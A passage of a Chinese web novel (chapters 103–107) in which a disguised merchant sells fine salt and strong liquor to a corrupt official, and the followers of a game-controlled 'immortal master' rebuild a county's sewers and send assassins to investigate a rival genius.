杜家商行遭遇那事他早就知道了,虽说和那杜家联合赚钱很爽利,但既然人已经死了,那便是死了,毫无价值的东西,他倒是也懒得继续过问。 至于是哪个流寇杀死了他杜家,和他又有何关系? 二人之间不过是单纯的合作而已,能指望合作对象会有几分真心? 倒是今日是个稀奇事,这杜家商行竟然没像他预料的那般倒下去,反而折腾着过来寻他了 对了,话说原先他只知道那姓杜的有个大儿子经常跟着过来,这次来的这像瘦猴一般的少年竟然也是那人儿子? 不过观他瘦小,应当岁数不大。 不过别以为他谈天禄是菩萨心肠,只要还能做生意,那这杜百便是他的亲亲贤侄,若不能,那便将此人打发出去便是。 收了几分心后,谈天禄慢悠悠地捏着茶杯开口。 “杜百,你很好,你父亲若看到你撑起杜家商行的门脸,也算是能放心了。 只是从明州到黎州路途遥远,若只是过来拜访我,未免颇有劳累啊。” 说这话时,杜百注意到谈天禄的眼神变得多了几分探究。 对方自然不可能是单纯地询问她的感受,杜百忙恭敬道:“谈爷说笑了,这点劳累不算什么,主要是这次小子带来两样新奇东西,因没甚么眼力,无法估算价值,特意来请您看看。” 总算是进入主题了。 谈天禄有些兴趣地看着杜百从一旁端过来两样东西。 一个是用盒子装着,看不清到底是何物,而另一个看着像是酒瓶子。 倒是不等他琢磨上,便听杜百朗声道:“您请看这物。” 边说,边掀开那盒子扣着的盖,等盖子一拿走,一盒白花花的物什便露出来。 谈天禄不免好奇,这般细腻洁白之物,到底为何? 却听杜百幽幽开口:“此物是细盐。” 细盐?谈天禄浑身一个激灵,而后不自觉坐直了身体,伸出手捏过来一小把细细观看。 这般细腻?竟要比专用于上贡的细盐还要细腻几分。 确定这的确是细盐后,原先觉得杜百不过一可有可无的草民,这会谈天禄可不这么想了。 ——眼下正是干爹竞争的好时候,若他拿到这好物,何不贡献一部分给干爹,好让他能安心竞争权势? 若是干爹胜出的话,对于他来说,可谓是极大地助力啊! 就是不知道这细盐有多少,若是能长久供应的话,倒是有几分价值。 稍微让自己的神色看着淡定点,谈天禄不由自主地看向了那酒瓶。 “这里是?” 杜百热情道:“这是一瓶美酒,谈爷不如品鉴一番。” 为打消谈天禄的警惕,杜百倒出来两杯,而后先行喝下一杯。 “小子先喝一口敬您!” 谈天禄眼露满意,哼,还算这毛头小子有几分眼色。 只不过毛头小子能有几分鉴赏美酒的能力?要知道圣上最是好酒,他素日倒是跟着干爹喝了不少罕有的美酒,想必杜百从民间收集而来的酒水相对要差一些。 别说入不了那位圣上的法眼,或许这酒水,连他都无法满意。 不过看着酒杯内清澈的酒质,谈天禄不免多了几分好奇。 观这酒水颜色清澈,不曾有什么浑浊之态,凑近一闻,一股醇厚之气扑面而来,想来虽说比不过素日他喝的酒,但应当也差不到哪去。 抱着这番心态,这会他才跟着将那杯酒饮下。 此酒一入喉,谈天禄只感觉入口绵柔甜润,紧接着酒劲在口中弥散开来,最后喉头带着微微辛辣,却又甘冽爽口,实乃回味悠长。??? 等一下,这酒味道为何会如此美妙? 虽说不比他曾品鉴过的酒水香气浓厚,但这滋味和后劲却是一等一的神奇。 想到自己先前对于此酒的嫌弃之色,谈天禄不免心头不太自然。 额别说,滋味是挺好哈 他这般微妙的表情变化瞒不过杜百,注意到此人从原先的不屑到如今的惊诧后,杜百忙端起酒瓶,继续给他倒满。 谈天禄也顾不上这个那个,索性再度拿起酒杯,一口将酒水闷在肚中。 几乎瞬间,那股美妙的滋味再度升腾,而后他竟觉得自己脑袋有些飘飘然之感。 注意到这点后,谈天禄不免震撼,而后试探道:“贤侄这酒确实是好酒,这酒水度数不低吧?” 按照他所想,可能是这杜百走了狗屎运了,在民间撞到了好酒,不过这酒水度数最多有个二十来度顶天了,毕竟他原先在宫内喝过的美酒,最高度数不过也才二十来度,宫内有才之人想必要比外面的多吧。 杜百脸上带了些许不好意思。 “小子听那人说,这酒水有五十三度。” 先前还被谈天禄紧握在手心的酒杯,此刻“咔嚓”一声碎裂在原地。 五十三度?这杜百莫不是在骗他? 但思及先前那阵轻飘晕乎之感,这话却多了几分可信度。 谈天禄深呼一口气,看向杜百的眼神不免带上了几分深沉。 第104章 美酒 没想到啊,这次竟然能遇到这番美事。 如今谁都知晓圣上喜好美酒,不少人争先恐后地送去美酒给圣上品鉴,但若在他看来,那些酒水又如何能比得上手心里的这酒? 杜百,没想到这毛头小子竟还真给自己带来了几分惊喜。 不动声色地将震撼收回肚中,谈天禄起身,带笑亲手将杜百扶起来。 “贤侄先坐下来说话,这酒实在是不错,不知道贤侄此次前来带来了多少酒水?” 杜百眼内翻滚出一抹淡淡的嘲讽,而后瞬间又带着谄媚道:“因此酒颇为名贵,产量又少,小子也足足积攒了许久才拿到了一千斤。” 起初,谈天禄听到这话,以为他手头可能最多也就一两百斤到头了,但此刻,听到对方所说的一千斤后,原先还能勉强保持淡定的面庞顿时扭曲开来。 ——这番美酒,竟能带来这么多? 暗自瞟了一眼杜百,谈天禄不由琢磨开来。 这酒足够他给干爹带过去,然后讨圣上的欢心,除了用作此用外,他还可高价售卖出此酒水。 说起另做售卖这事,谈天禄自然想打听这两样东西的价格分别为何。 杜百假装犹豫,看样子似乎颇有为难之处。 倒是谈天禄沉不住气,先笑着开口:“贤侄可是有些许难处?不妨说来便是,既你父亲不幸去了,以后你便将我当做你叔伯便是。” 杜百点头,语气迟缓开口。 “实在是叔伯有所不知,这两样确实价格不菲,若像先前的话,这些东西送与叔伯又何妨,只不过现在杜家商行势微,筹集到这些东西,已经是颇废元气了。” 谈天禄是个聪明人,立即明白了杜百的潜台词。 ——这毛头小子竟敢和他讲价,若是原先的话,他有一万种方法可以让他乖乖听话,但现在不行,这两样东西均为珍贵,他舍不得放掉这大好利润。 于是憋出一抹笑,“贤侄的苦楚叔伯又有何不知?不过等这次生意做完后,想必贤侄也能松快几分。” 这意思很清楚,大概意思就是这一次就让你赚点,但下一次的话,他可要多吃一点才是。 杜百忍不住在心里冷哼,这便是她所求的结果。 若不假装犹豫几次,这般滑头的谈天禄定不会相信她所说的报价。 “这是自然,叔伯既能助小子度过最艰难的时候,以后小子定会替叔伯分忧解难。这细盐的价格为60文一斤,而这酒水,则为250文一斤。” 这个报价是杜百早就想好的报价,属于谈天禄能接受,且不会起疑的报价。 果然,谈天禄原先紧绷的面庞顿时缓和了几分。 ——吓他一跳,还以为这杜百有所图,会报出一个极为高昂的价格,但现实就是这价格他完全可以接受,甚至隐隐约约觉得这个报价还很实在。 毕竟上贡的皇盐一斤高达百文,美酒更是一斤高达五百文。 再看看眼前的杜百,此人正一副忐忑不安的模样,不知道是不是报价远低于心理预期的缘故,谈天禄竟觉得先前自己看错了此人。 哪里是什么颇具匠心的黑心商贩,分明心思浅得和下雨天浸湿的地面一样。 不过没关系,他最喜欢和这种心思浅显的人交往了,毕竟不费脑子,只要稍微给他一些好处,这人便会替他死心塌地地做事,多好的劳动力啊。 想到眼下正是需要进账大量金银的时候,谈天禄不免心情澎拜。 靠着这两样东西,他倒是有信心赚一波大钱。 在后续谈论价格时,谈天禄甚至慷慨到没有去压价,而是将此次货品全都纳入囊中。 对方出手这般阔绰,杜百便知谈天禄此人定是贪了不少,不然哪来的这些钱财? 原本想着此次或许要颇费些周折,但谁能想到,竟然如此顺利? 在离开谈天禄的府上后,杜百带着一众人先回了酒楼休息庆祝一番,而后她打算在第二日离开。 而看着杜百一行人所行并未有所差池外,谈天禄总算是放下心来。 问他为何会乖乖付款? 说实话,他是在赌一个可能性。 赌杜百之后还能给他带来更多的回报,在没弄清楚此人到底是从何处弄到这些东西前,他不会轻易弄死能给他带来利润的人。 且黎州和明州路途遥远,在这两地走商无异于是件危险的事,既有人承担了风险,他又为何要主动断了这求财之路? 而在酒楼内,杜百和衣躺在软床上,脑内不自觉闪过此行收货获。 ——比她想得顺利,细盐是30文购入的,售出为60文,而酒水的话,是40文购入的,她250文出手,相比下来,明显酒水更为赚钱。 但若想一直保持这样高昂的价格,那必须要合理把握每次带过来的数量,不然便会有被谈天禄发现真相的风险。 若扣除路上所消耗的人力物力,这一次的纯利润差不多在三百两左右。 这并非是一个小数目,三百两哪怕是一些颇有实力的富商也需要几个月的运营才能拿到这些钱,而她不过一趟便有此等利润。 且先前她全身家当不过堪堪两百两,如果不能靠着谈天禄赚到足够多的银两,她谈何恢复昔日杜家商行? 眼内闪过一丝决然,杜百一夜未曾合眼。 等第二日时,杜百假装精神抖擞地离开黎州。 确定身后没有跟踪的人后,她这才下令策马疾奔。 而此时,原本暗流涌动的黎州更是动乱了几分。 作为圣上身旁的贴身大太监,高提督不知是用了何手段,竟能将圣上哄得好几日都不曾上朝。 据有心人打探,是那位高提督弄到了美酒献给了圣上。 一时间,众人心中不免泛起不满。 这死太监是不要脸啊,圣上喜欢喝酒,便去送酒,圣上这般扶不上墙,完全就是因为他惯坏的! 但他们又有何办法? 先前倒是有人参了这高提督一本,但最后的结果便是被贬官归乡,现在这人估计早就被心眼没有针尖大的高提督处理掉了。 这事倒是让一众大臣心寒不已。 既当今圣上并非那等明君,时间久了,清流的臣子只能闭口不言,转而偷偷寻求名主,至于高提督一派,则是惯于哄骗讨好圣上,眼看朝廷内清流岌岌可危,奸佞之人权倾朝野,众人也只能打落牙齿往肚子里吞。 眼下没想到圣上更是过线,竟连上朝都不肯亲自过来了。 等罚站结束后,清流派官员各个神态紧绷离去,而以高提督为首的一派则是纷纷将高提督围在中间,溜须拍马不在话下。 其中,谈天禄最为卖力。 眼看高提督和谈天禄此人状态亲昵,看着要比原先更好几分后,众人不免猜测起来缘由。 ——想必定是这谈天禄从中出了力,不然只以他干儿子的身份,很难让提督做到这番啊。 但这谈天禄到底是为提督奉上了何物?竟能让提督松口将采买一事交给他? 谁都知道,这是油水充足的美差,这谈天禄不过便是命好罢了,若论为人,论心智,论才学,他到底哪里比得过他们? 众人心底嫉妒不已,但面上依旧带笑地和谈天禄套近乎。 灌了几轮酒后,哪怕谈天禄早就喝醉酒了,但竟是没能从此人口中探寻到一丝一毫的真相,不免令人颇为失落。 而谈天禄则在被手下人扶着离开后,眼神忍不住划过一抹精光。 呵呵,想从他口中套话?还嫩了点。 要是他这么轻易便能将自己真正的秘密透露出去,他早就死了,哪能像现在这样好好活着,还活得比这些才情家世都高于他的人活得更好,更受提督看重? 想到这群人内里嫉妒得咬碎了牙齿,面上还要讨好自己时,谈天禄不免舒服得直喟叹 这就是他一步步爬上来的地方,这就是权利的美味。 他确实是靠着那细盐和美酒获得了干爹的信赖,与此同时,倒也承担了将这两物售卖出去的任务。 毕竟干爹往日也需要多方打点,若没有金银岂不是畏手畏脚? 很快,黎州城最中央地带,元城则悄悄开始流传开来新奇之物。 据说此物素日都是上贡给圣上的,对城内不少家底殷厚之人颇有几分吸引力。 毕竟谁不想看看圣上使用的物品是什么模样呢? 若是有机会和圣上同用一种物品,倒也暗戳戳地满足了他们隐秘的虚荣心。 不过当众人看到那细腻如同白沙一般的细盐,以及滋味浓厚的美酒后,先前只打算少量购入,这会均被勾得想多购入些。 ——这盐巴可多买些作为招待贵客使用,尤其是炙肉时撒上一些,这也算是符合他们的身份。 美酒的话更是需要多买一些了,毕竟这玩意可是罕见的好酒,若错过这次,未来指不定什么时候才有机会能买到。 抱着这样一番心态,这群人开启了新一轮的争抢。 杜百带来的几千斤东西,像是一滴水滴入大海一般,融化得毫无声息。 将物品至少翻了两倍售卖的谈天禄也是喜得直笑。 看来这些东西无疑是受欢迎的,希望杜百能给他带来更多更新奇有趣之物,毕竟钱这东西,谁都不嫌多。 而被心心念念的杜百则是回归家中。 路途遥远,但一路顺利,并未遇到强盗流寇。 和杜大娘见了一面,说了几句话后,杜百正欲前往斗坡村,试图看看那边还有什么值得带走的新奇之物。 但等她前往那斗坡村时,却看到原先平整的路面似乎被挖掘开,而后又被人给填充了回去。 这是? 第105章 妖孽 倒也不怪杜百不明所以。 就连本村的不少村民也对张百技改动全村的下水有些不理解。 不过虽说不理解,但当听到是仙师的命令后,众人立马表示愿意配合,甚至连本村最难缠的人家也表示愿意乖乖听话。 毕竟这可是那位仙人说的话啊!谁会脑袋不清楚到这种程度,主动上前去找仙人的晦气? 多亏了仙师强大的号召力,这才能让下水任务改造得异常顺利。 一开始改造时,张百技还必须要亲临现场看着点,等到后面做多了,已经成为所谓的习惯后,他这才放心,而后琢磨着仙师前不久刚交给他的任务。 ——那位竟不满足于他仅仅改造附近的村落,而是让他继续改造,最好亲自去风仙县那边指导工人,致力于改造全城的下水系统。 起初亲耳听闻仙师要求后,说实话张百技还是有些微楞在原地。 改造附近几个村落的下水他一个人还能应付过来,但若是改造一城下水,岂不是太过于难为他? 但仔细想想,那硕大的县内有不少比他要更为精通此项的匠人,且据说由仙师亲自提任的方县令更是聪慧过人,既仙师让他过去教导,那他便乖乖听取仙师的任务即可。 劝自己将心落回肚子里,张百技倒是多了几分疑惑。 虽说改造下水绝对是个很有用的事,但具体仙师打算如何应用他所修建的下水,他倒是没有丝毫头绪 先前他倒是猜测过仙师意图,但越往后做工程,说实话,张百技却越来越不懂仙师的目的到底是为何了。 眼看各村落已进行到一大半,他可以前往风仙县后,张百技这才敢大胆离开。 而早就得到消息的方知意则早派人在城门口等待着张百技的到来。 昨日听闻仙师所说会有一人来风仙县协助下水道改装时,方知意先是应下。 等到细细琢磨仙师内含的深意后,方知意忍不住浑身颤抖。 ——下水道改装,陶瓷厂设立,以及还在研究的沼气池,三样物品混合在一起,便是无敌。 先前她倒是有思索过等沼气池真正研发出来后该如何应用在全城才好,也想过那陶瓷厂做出来的马桶到底如何才能顺利推广售卖。 本来只是隐隐约约有些头绪,却不知晓自己的决策是否正确时,仙师便送来了最为关键的一环。 下水工程的改造。 为快速配合张百技的改造,方知意提前便将本县的下水系统拿出来细细琢磨。 不过她对此方面并非精通,若用她浅显的经验来看,风仙县的下水道系统不算坏。 不过专业的事情还需要专业人士查看,不多日,方知意便喊来了本县负责下水的官员,让对方给自己一一介绍本县所采用的下水究竟是如何设计的。 负责下水的一共有六名官员,来人正是其中的总负责人于洗。 先前方知意上台清洗贪官时,倒是对这人做过调查,调查显示,这于洗干干净净,端得是两袖清风。 虽说方知意怀疑是因为这个部门根本和坐冷板凳一样,哪怕他想贪也是没机会贪,但念及对方确实不曾做过错失,便暂时翻过此页,不再叙述。 而于洗被请过来时,脸色还有些紧张。 毕竟他所负责的工作太过于边缘,自方大人上任后有对他做过调查外,其余时候,他还和往常一样仿若透明人一般默默无闻。 为何今日会突然惹得大人主动找他过去? 有道是好事不出门,坏事传千里啊。 但是话说,他根本就没做过什么值得一提的坏事? 莫非是有同僚看不惯他整日无所事事,还能偷偷躺平拿工钱? 但他感觉自己平时人缘还可以,没和别人有过争端? 这世道还是太残酷了,他已经如此没有上进心了,竟然还能被有心之人注意到,参了他一本。 无论怎么想都觉得自己是被人陷害了的于洗苦着一张脸滑了进来。 而看到端坐于上位的方知意后,他忙行礼。 未知总会带来恐惧。 在等方知意说话的几秒钟内,于洗连自己之后要埋在哪里都想好了。 但没想到换来的仅仅是一句平淡到毫无情绪波动的命令。 “于洗?你便是本县下水负责人?先来替本官好好讲解一番本县的下水设计。”??? 什么玩意? 于洗差点没楞在原地。 合着他思想建设了许久,结果县令大人只是要求他讲解下水? 是不是有些魔幻了? 略带紧张地应下,于洗展开本县的设计图,有些颤抖开口:“大人请看,本县的下水设计完工时间是在十一年前,当初设计下水,大炎朝所采用的下水设计全部为同一种方式,即都是这份设计图。” 方知意看着那图纸,不免多了几分感兴趣。 观察到方知意的注意力并不在自己身上,于洗说话总算没那么紧张了。 “据说这份设计图是曾辅佐过先帝的祝家人呈递上去的,因此图设计颇为完美,先帝龙心大悦,命令全国各个城池纷纷按照此图修建。 至于” 于洗说了有半个时辰,总算是将本县的下水系统讲述清楚。 而这时,张百技也被人接应过来。 先屏退于洗,方知意请张百技进来说话。 初次看到这位传说中的方县令时,张百技有一瞬间的失神。 无它,实在是这位看着实在是太过于年轻。 但和年纪不符的是对方平和却又内含凌厉的眼神。 张百技不由地瑟缩片刻,刚想行礼,便被方知意抬手阻止。 “免礼,你我皆为仙师旗下之人,都知晓仙师想要创造的是何世道,眼下因大业未统,我等不好提前将仙师所求世道阐述给众人,但同僚之间还是需要谨遵仙师理想之道才是。” 张百技愣住了。 等一会,这前一句话他还能听懂,但是这后面的几句话每个字他都懂,但拼凑起来,他怎么一句话都听不懂了? 什么叫仙师理想之道,那玩意到底是什么??? 但看着眼前的方县令认真而又沉默的模样,张百技忍不住梗住了 算了,还是不要问了吧,总感觉他要是问的话,很可能会引发一场没必要出现的大灾难 努力将视线从方县令身上挪开,张百技总算找回了自己的声音。 这会他干巴巴地开口,向方知意询问本县原先的下水图在哪里。 等到完全展开那下水图后,本觉得风仙县的改造是一件非常麻烦事情的张百技却忍不住沉默了。 什么鬼,这设计图,怎么会如此贴合仙师所设计出来的图纸? 在他看来,风仙县内所需要改动的部分很小,因为骨干设计得很完美,完全不需要他们再费尽心思修改了。 看着陷入沉默的张百技,方知意不免用眼神询问他到底是什么情况。 等从震撼中回神后,张百技倒是将自己的发现原原本本地告知方知意。 听到本县所需要修改的部分很少以外,方知意先是放松,而后便陷入了死一样的沉默 没想到大炎朝竟还有此等妖孽,竟能做出和仙师相同的设计,想必此人定是天资聪慧,异于常人。 先前于洗曾说过,这设计图是祝家呈递给先帝的,再想想祝家现在依旧活跃于朝野之间,想来那等天才还依旧存在。 从前朝到现朝,才华横溢到近乎妖孽的程度,这样的人才,只要不是因为意外病死,一定会获得重用。 一想到未来会凭空生出这样强大的对手,方知意便忍不住心生寒意。 虽说仙师一人便可抵挡万物,但谁都不想遇到的是这么难缠的对手吧? 好在此等人物定是在黎州元城内就职,距离明州相差甚远,一时半会定是无法顾及这边。 再加上眼下皇帝的皇位坐得并不稳固,想来此人应当疲于应对另外几人中。 方知意不自觉多了几分忌惮之心。 不过现在的计划不允许被打乱,她必须要一步步稳当地走下去才是。 让于洗带着手下官员负责和张百技对接后,方知意暗地里派人去打听这祝家天才到底是何人。 但看完了她手下的一众官兵后,方知意不由地沉默了。 这群人的个体素质远远不够前去探查此事,必须需要可靠的人才可以。 既没有可靠人选,不如前去禀告仙师才是。 而此刻,姜定发现他的紫卡人物给他发消息了。 在看到是对自己忠诚度百分百的方知意时,姜定承认自己还是有略微的怜爱溢出的。 ——毕竟这可是百分百衷心啊! 点开消息,看到的便是对方需要一支素质极佳的情报人员。 看着紫卡人物的要求,姜定不免想到了先前他刚收入囊中的一队好手。 按照游戏介绍,那一支队伍来自于明州抚灵山,是一支素质极高的暗杀团队。 话说先前这群人主动来找他想加入时,姜定还懵了一下 他记得自己没有打过这条支线? 点开这群人的经历,也是未曾发现什么端倪。 虽说有些奇怪,但但这可是白给啊! 扪心自问,他自认自己拒绝不了此等诱惑。 于是,几乎不带犹豫,便将这支队伍收入旗下。 至于岗位的话,他则是按照游戏推荐,给她们开设了一个新的岗位,——慎行司。 游戏对于此司的解释为,一个专门干脏活的部门,集情报调查,审讯,监视于一体。 类似于国家安全局。 至于为什么不叫安全局,主要是因为游戏没给姜定别的选择。 【是否确定让慎行司接受命令?】 第106章 一面之缘 【已确定】 慎行司内。 先前被寻宁一封信喊过来的一众人倒是早早的跟着前往那潜灵山内。 除了有任务时会下去做任务,但大部分时候,众人闲下来的时候在山间转悠。 尤其是寻淼。 作为队伍里最好动的二师姐,寻淼自上了山后一直没闲下来。 要么是在山头看人干活,要么是跟着去各个矿产区域转悠一番。 等到这两样都干完后,则是蹲守在食堂附近,立志要将食堂的新菜色都尝试个遍。 而作为领头人的寻安则在跟着寻宁将山头转悠一圈后,对仙师所做之事更为认可了数分。 越看,她便越觉得跟随仙师,是她们一行人做得最为正确的决定。 想起下山时师傅曾说过的话,寻安手心不由握紧。 师傅,或许真如同您所说,我们此番下山,真正寻找到了适合走下去,直到走到黑的一条道路。 既已确定前进方向,在参观完毕本山布局后,寻安本想去山下的斗坡村看看情况,但在进入集闻楼后,不由便被那上千万本藏书震撼开来,而后的时间里,寻安几乎和长到了楼里一样,这女人过分到吃饭都不想出门,完全是寻宁到了饭点将饭菜给师姐送来,不然她真怕师姐会饿死在这里。 其余的同伴们,则是分散开来,有在山上继续修炼的,还有下山去附近村落看看情况的,亦有去风仙县自行打探消息的。 总之干什么的都有。 在集闻楼泡了足足有一个月,也不曾抵消寻安的热情。 ——这世上怎么会有这般包罗万象的藏书阁? 起初看第一本时,寻安不过觉得颇为有趣,看第二本,第三本,却逐渐品出了不对劲 这些书籍她从未看到过,其内观点新颖,世界观大到古怪,无一处不妙。 想来的话,便是因为这集闻楼是仙师建造的,其内填充的书籍应当也是仙界之物,而非她们大炎朝的书籍。 一想到这些书内蕴含的便是仙界的东西,寻安便觉得自己控制不住想要继续看下去的心。 废寝忘食地看了足足一个月,若不是突然出现在脑内的仙师命令让她暂缓了继续看书的冲动,不然她非得要继续看个几个月才是。 不过既仙师发放任务,她理应先为仙师排忧解难才是。 恋恋不舍地将手心里的书籍放下,而后寻安带着身手较好的三人一同下山。 当四人来到风仙县内县衙内时,本县县令方知意早已先来了。 说实话,在看到这四人时,方知意有瞬间的愣神。 竟能遇到眼熟的人。 ——那红衣女子。 先前她和爹娘打算前往斗坡村时曾在半路住了一宿,因担心城内姐妹安危,有一红衣女主动提出要替自己去那城内送信。 虽说距离那件事已有好几个月,但她不会忘记那红衣女子的眉眼。 眼下寻宁倒是怡然自得地将双手环抱在胸前,不曾多给眼前的方县令一个眼神 想来对方应当是早就忘记了,毕竟于她来说,对方是她唯一的求助对象,而对于红衣女子来说,不过是最普通不过的任务而已。 方知意不过是片刻失神,而后很快便将目光收回。 “诸位辛苦了,想必仙师已经提前和诸位打过招呼了,这次的话,确实有一紧急任务需要诸位帮助。 我希望诸位能前往黎州调查祝家,将祝家最为天才的人物情报悉数带回来。 我有种预感,此人或许是仙师大业的最大阻碍。” 寻安很快便理解了此次任务的目的,不过作为执行人,她有权利多问几句缘由。 “既我等拜入仙师门下,理应为仙师分忧解难,不过还请方大人将祝家的异常一一告知我们,我等也好做出判定才是。” “这是应当,不知各位是否知晓仙师最近正在促进的下水道改进这一项目?” 方知意倒是不曾先开口解释,而是先提出问题。 寻安眉头微蹙,因她大部分时间都呆在山上,所以对这等消息并未有所耳闻。 她身旁的寻淼率先开口。 “这事我们是知晓的,虽说不清楚仙师到底是如何想的,但这件事和我们要打听祝家有关系吗?方大人?” 寻淼先前先是在山上食堂蹲守饭菜,等都尝了一遍后,转而又下山直奔山下斗坡村内较为出名的美食一条街去试花样。 虽说一开始她就有心理预期这美食街应该不赖,但等她真正吃上了,顿觉自己的心理预期还是做少了! 这美食街真好呐!有软糯可口的地瓜饼,有闻着臭吃着香的臭豆腐,还有各种她见都没见过的特色菜品。 在这村内连续吃了有半个月后,寻淼扶着肚子幸福得要流泪。 先前下山时,她其实不太愿意出来的,毕竟在她看来,这世道都在打仗,定是一片饥荒,百姓饭菜都吃不上了,还有谁会有心思去琢磨新吃食啊? 至于为何还是下山了,完全是因为师傅给她算了一卦,此卦显示大吉。 表明她跟着下山,绝对是妙处多多。 因信任自家师傅的起卦能力,寻淼一咬牙一跺脚,屁颠屁颠跟了上来。 一路上她别说吃点好吃的,好几次一行人都是吃着干饼,喝点水就算完事,继续赶路。 这可苦了她,到底是信任师傅的卦象,咬着牙跟着师姐来到了风仙县。 好在小师妹给她带来了惊喜,那糕点铺子的糕点吃起来味道极为出色 对了,话说她怎么可以忘记去问问师妹那铺子叫什么名字来着?自上次吃了一次后,原先是想问来着的,但花花世界迷人眼,好吃的东西太多,一时半会,她竟然是忘记这好玩意了! 寻淼顿时懊恼不已。 这会人虽说还站在堂内,但其实心早就飞了。 看着二师姐这番模样,寻宁抽搐着嘴角,想都不必想二师姐这是咋了,只能稍微往前一个动作,将发呆神游的二师姐挡在身后。 这会,她才抬眼,直勾勾地望向眼前曾有过一面之缘的方县令。 “方大人,可否为我等解释一番?” 二人视线交汇时,方知意早就不曾动摇,淡淡开口:“自然。仙师当时派专人过来协助本县修整下水,但当派来的人看完本县下水修建设计图后,却直言此设计图和仙师的原版设计图相差无几。 而后,我问出了修建此下水设计图的人便是那祝家人。” 话说到这里,其实在场几人都懂了这其中的含义。 几人不免神色严肃。 这世间竟有如此妖孽之人? 要知道仙师拿出的设计妖孽是因为对方本身就是神仙,但以凡人姿态,却能设计出和仙师相似的设计,此人绝非等闲之辈! 再想想看,眼下这样妖孽的人物还存在于世,还为大炎朝中的一员,如此强悍的对手,对于仙师一统大业来说,绝对是一个很碍事的存在。 寻安面色严肃,而后伸手抱拳。 “我等已知晓此事的紧急程度,必当竭尽全力,打听出此人消息,还请方大人放心等待我等消息。” 而一旁的寻宁则是收了收以往散漫的模样,这会浑身都透露出难得的认真。 “方大人,这只信鸽你留着用来和我互通消息。” 寻宁不知从哪儿掏出一只黑色信鸽,而后这信鸽扑腾了几下,飞到了方知意的手心。 她转身跟上寻安,红色的衣袍被风吹得摇晃,声音不似先前随意,多了几分冷漠。 “对了,方大人,话先说在前面,如果我们判定此人没有拉拢的价值,或者拉拢失败,在出现合适的机会时,我会杀了他以绝后患。” 一行人四人悄然离开了。 方知意垂头,盯着眼前漆黑的信鸽,而后不由自主地叹了口气。 其实不用她提醒,方知意也会和她做出同样的选择。 此等天才,若不能为仙师所用,留着绝对是一个巨大的隐患。 但是没关系,若可以让正确的世道更快的来临,她们就算手沾血污又如何? 一切都是为了更美好的未来。 瓷器厂内。 负责招兵买马的李老眼看着瓷器厂建造完毕,可以开始招工了。 不过开工前,他没看到有对应的原材料送过来啊? 话说,没有高岭土这瓷器厂也没办法开工吧? 正是在心里嘀咕时,冷不伶仃却听到了那熟悉的清冷声线。 【李老,你找个合适的位置,可以开始传输原材料了。】 刚吐槽完的李老顿时满头问号。???不是,这合理吗?仙师早不出现,晚不出现,就在他想原材料的时候出现,莫非这位早就知晓他脑内想法,特意用这么隐晦的方式提点他注意不要偷摸蛐蛐? 想到这层可能性,李老顿时青着脸,两腿瑟缩。 要是仙师现身的话,他估计早就滑跪认错了。 也倒是多亏仙师不曾现身,他还能勉强自己淡定几分。 乖乖按照仙师所说寻找到一个合适位置后,李老静待仙师操作。 不到片刻,他便察觉到他的口袋似乎膨胀了几分。 这会忙低头去看,结果不看不要紧,一看吓一跳。 原先空空如也的内兜,这会却像是黑洞一般,看上去无比骇人。 “这是怎么回事?” 李老瞪大眼睛,刚想将脑袋稍微凑过去看个清楚,结果下一秒,他便感觉自己的脑袋像是被什么东西缓缓推开,不等他反应过来,便看到铺天盖地的白色土矿喷涌而出。 那喷涌的速度仿若汛期洪水,无声,但却震撼。 尤其是这玩意还是从他先前空无一物的衣兜内喷射而来。 李老原先还算淡定的面庞,这会早就被眼前这一幕冲击到粉碎。 第107章 祈求 不是,这对劲吗? 无论怎么看都感觉很不合理吧? 李老无声地看着逐渐被高岭土等原材料填满的库房,心头仅存的一根名为理智的弦瞬间断裂开来。 良久脑内不再传来仙师的声音,李老这才略带崩溃地看着眼前早就累积成小山一样的矿石 算了,这都见到仙师了,再看到这等仙术也很合理,他既然为仙师做事,未来遇到这样不合理的事情会更多,如果现在他不能放平心态接受,以后又该用何种心态去面对仙师? 果然不愧是拥有多年经验的老人家,很快便将自己的小情绪哄好了,而后李老蹙眉,而后逐渐想到了其中最为关键的一点。 先前他早就招收了一批匠人,将制作马桶的要点一一交付给这些人。 目前的话,既然陶瓷厂已经建设完毕,而后若要上强度的话,这些工人肯定不够,看来,是时候需要招聘新人了。 将招工的消息放出去由总工匠负责后,李老满意地点头,决定身居幕后。 ——这样就挺好的,既隐藏了他的真实身份,也能将仙师交给自己的任务完满完成。 不过,招工信息应当如何告知全县? 李老想到先前的话,是将一招聘的单子张贴在县城中心的展示板上,但自仙师统领全县后,那块板子已经很久没有人使用了。 而后,他便将目光挪到了本县新出的报纸上。 报纸这玩意好啊,新奇,且价格便宜,最近也受大伙欢迎,且最重要的是这报纸也是仙师旗下的产业,这可算得上是同门了。 既是同门,他将这招工信息挪到报纸上,岂不也算是帮报纸多了一份卖点? 李老越想越觉得满意,而后忙遣人去找到那报社,将自己的想法告知给报社等人。 结果在片刻后,他派出去的人又急匆匆跑回来,而后带来了一个让李老崩溃不已的消息。 “什么?她们说必须让本人过去进行身份核对?” 李老猛地起身,大脑突突直跳。 倒是眼前负责跑腿的人被他这副模样吓到了,忍不住瑟瑟发抖回道。 “老爷,对方说报社以后这类招工消息刊登的话是需要缴费才能刊登的,不过因为咱们都是仙师旗下的共有,这就可以免费刊登,不过必须要求您亲自过去一趟,也算是让对方做个登记。” 沉默。 良久沉默。 李老心口弥漫起一阵想要骂人的冲动,而后又被他强行压了下去。 ——对方说得也没毛病,既都为仙师工作,互相登记身份很正常不过。 但是哪个人能轻易认可自己是个造马桶的啊??? 李老深呼一口气,脑内闪过种种敷衍之法,最后无奈地发觉,可能,或许,大概,他必须要去一趟了。 哪怕这次找机会不去了,但下次,下下次呢?他只要活着,还干这个活,以后总会和对方见面的。 想明白这其中的弯弯道道后,李老挺直了一辈子的腰顿时弯了。 身旁跑腿的忙扶着他,“老爷,您这是怎么了?我扶您进屋歇会。” 李老摆摆手,气若游丝。 “没事,扶我去报社,我倒也想去见见那报社的总负责人。” 下人不敢多言语,只能将他扶上马车,带去那报社。 一炷香后,白思妙和眼前有些面熟的老人家互相大眼瞪小眼。 白思妙:好面熟,让我想想这人对了,记得是本县最有名望的李老? 李老:哦哦哦,这个小女娃老夫有些印象啊!这不就是本县三大才女之一的白家闺女么? 哎,先前时不是说这白家闺女被贼子带走后杀死了么?现在怎么摇身一变,成了掌管报社的总负责人了? 因脑内思绪颇多,两人都不曾来得及开口。 而后等喝完一杯茶后,白思妙决定率先开口打破这古怪的气氛。 